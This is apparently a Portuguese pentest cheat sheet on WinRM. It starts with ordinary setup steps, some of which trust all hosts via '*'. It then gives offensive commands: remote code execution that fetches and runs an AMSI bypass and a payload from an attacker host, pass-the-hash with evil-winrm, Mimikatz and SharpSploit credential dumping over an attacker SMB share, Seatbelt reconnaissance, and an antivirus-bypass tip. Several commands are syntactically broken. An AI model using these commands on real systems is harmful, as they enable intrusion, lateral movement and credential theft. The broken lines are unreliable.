WinRM

O WinRM é a implementação do WS-Management da Microsoft no Windows, que permite aos sistemas acessar ou trocar informações de gerenciamento em uma rede comum. O acesso é feito via terminal, de forma semelhante ao SSH.

Configurando o Server

Modo GUI - Modo Manual

  1. Iniciar > Executar > services.msc

  2. Ative o serviço Windows Remote Management (WS-Management)

  3. Iniciar > Executar > gpedit.msc

  4. Computer Configuration > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service

  5. Dê 2 cliques em Allow remote server management through WinRM

  6. Ao abrir o popup, marque a opção Enabled

  7. No campo IP Filter, coloque os IP's que podem se conectar no host, ou se preferir, adicione um * para liberar acesso a todos os hosts

Em alguns casos, será preciso adicionar uma regra de excessão no firewall, então siga os passos a seguir, caso seja necessário:

  1. Iniciar > Executar > wf.msc

  2. No menu esquerdo, clique em Inbound Rules

  3. Clique com o botão direito em Windows Remote Management (HTTP-In) e depois selecione Enable Rule

Feito isso, basta adicionar (ou criar caso não exista) o usuário que deseja utilizar para acessar via WinRM e adicioná-lo no grupo Remote Management Users.

Modo GUI - Modo Prático

Semelhante a forma apresentada acima, incluindo as regras de firewall, porém de uma forma mais rápida.

winrm quickconfig
y
y

Modo CLI (Powershell)

Iniciando o serviço

Start-Service WinRM
Set-WSManQuickConfig
y

Adicionando o usuário que irá acessar via WinRM

$secureString = convertto-securestring "<senha>" -asplaintext -force
New-LocalUser "<usuario>" -Password $securestring -FullName "<nome_usuario>"
Add-LocalGroupMember -Name 'Administrators' -Member '<usuario>'

Verificando a Configuração

Configurações completa

winrm get winrm/config

Retornando apenas a configuração do serviço

winrm get winrm/config

Configurando o Client

Modo GUI

Primeiro vá em Iniciar > Executar > gpedit.msc, depois em Computer Configuration > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Client. Dê 2 cliques em Trusted Hosts e ao abrir o popup, marque a opção Enabled e em TrustedHostsList, coloque os IP's dos hosts que você irá se conectar, ou se preferir, adicione um * para liberar acesso a todos os hosts.

Modo CLI (Powershell)

# Ativando o serviço
Start-Service WinRM

# Definindo que todos os hosts podem se conectar
Set-item wsman:localhost\client\trustedhosts -value *
y

Para verificar quais hosts estão na lista de hosts confiáveis, utilize o comando:

Get-ChildItem WSMan:\localhost\Client\TrustedHosts

Acessando WinRM

Inserindo comando no SO via WinRM sem deixar o shell interativo. Por padrão irá utilizar a porta 5985, então utilize o parâmetro -Port <port> para utilizar outra porta.

Powershell

$cred = Get-Credential
Invoke-Command -ComputerName <ip> -ScriptBlock {<command>} -Credential $cred

Em alguns momentos esse acesso precisa ser realizado em uma movimentação lateral, pois alguns módulos de execução de comando irão falhar (ex Metasploit), isso devido a acessos administrativos ou a necessidade de uma autenticação Kerberos. Então a partir de um host Windows, utilize os comandos abaixo para realizar um RCE:

passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force;$creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>",$passwd);$server = New-PSSession <host-alvo> -Credential $creds;Invoke-Command -ScriptBlock{iex (iwr -UseBasicParsing http://<ip>/amsibypass);iex (iwr -UseBasicParsing http://<ip>/<payload.ps1>)} -Session $server

ou

$passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user> $passwd)
Invoke-Command -ScriptBlock{<command1>;<command2>} -Computer <host-alvo> -Credential $creds

winrs.exe

winrs.exe -r:http://<ip>:5985 -u:<user> -p:<pass> <command>

winrm (Linux)

winrm -hostname <ip> -username <user> -password <pass> '<command>'

DICA: Sempre que puder chamar um comando sem deixar a shell interativa, chame o powershell.exe ou cmd.exe, assim irá ficar interativo.

Evil-WinRm (Linux)

Conectando com usuário e senha

evil-winrm -i <ip> -u '<user>' -p '<password>'

Conectando com hash NTLM (Pass the Hash)

evil-winrm -u <user> -H <hash> -i <ip>

Verificando a versão do SO

cmd /c ver

Realizando download e upload de arquivos

download <\windows-path\to\file>
upload </linux-path/to/file>

Pegando todos os hashes NTLM com Evil-WinRM e Mimikatz.

# Somente o diretório, não o arquivo em si
evil-winrm -i <ip> -u <user> -p <pass> -s </path/to/mimikatz>
Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'

Pegando todos os hashes com Evil-WinRM, SMBServer e Mimikatz.

# Host atacante
smbserver.py -comment "DLL" -smb2support TMP </directory/SharpSploit> # Somente o diretório da DLL

# Host alvo
evil-winrm -i <ip> -u <user> -p <pass>
Dll-Loader -smb -path \\<ip_atacante>\tmp\SharpSploit.dll
[SharpSploit.Credentials.Mimikatz]::All()

Executando o Seatbelt.exe

evil-winrm -i <ip> -u <user> -p <pass> -e <path/to/binary>
Invoke-Binary </path/to/seatbelt> # Somente o diretório do SeatBelt

# Busca por todas os diretórios compartilhadas na rede
Invoke-Binary </path/to/Seatbelt.exe> NetworkShares

# Busca por todos os serviços que não são da Microsoft
Invoke-Binary </path/to/Seatbelt.exe> services

# Busca por todos os processos que não são da Microsoft
Invoke-Binary </path/to/Seatbelt.exe> processes

# Busca por todas as sessões RDP ativas
Invoke-Binary </path/to/Seatbelt.exe> RDPSessions

DICA: Caso o antivírus barre algum tipo de execução, como por exemplo no caso do SeatBelt, utilize o comando Bypass-4MSI no Evil-WinRM para fazer bypass no AV.

PWSH (Linux)

pwsh
$cred = Get-Credential
Enter-PSSession -ComputerName <ip> -Authentication Negotiate -Credential $cred

Executando Comandos em Host Remoto

$passwd = ConvertTo-SecureString '<pass>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("<domain>\<user>", $passwd)
Invoke-Command -ScriptBlock{<command1>;<command2>} -Computer <ip> -Credential $creds

Sites

https://github.com/GhostPack/Seatbelt

Last updated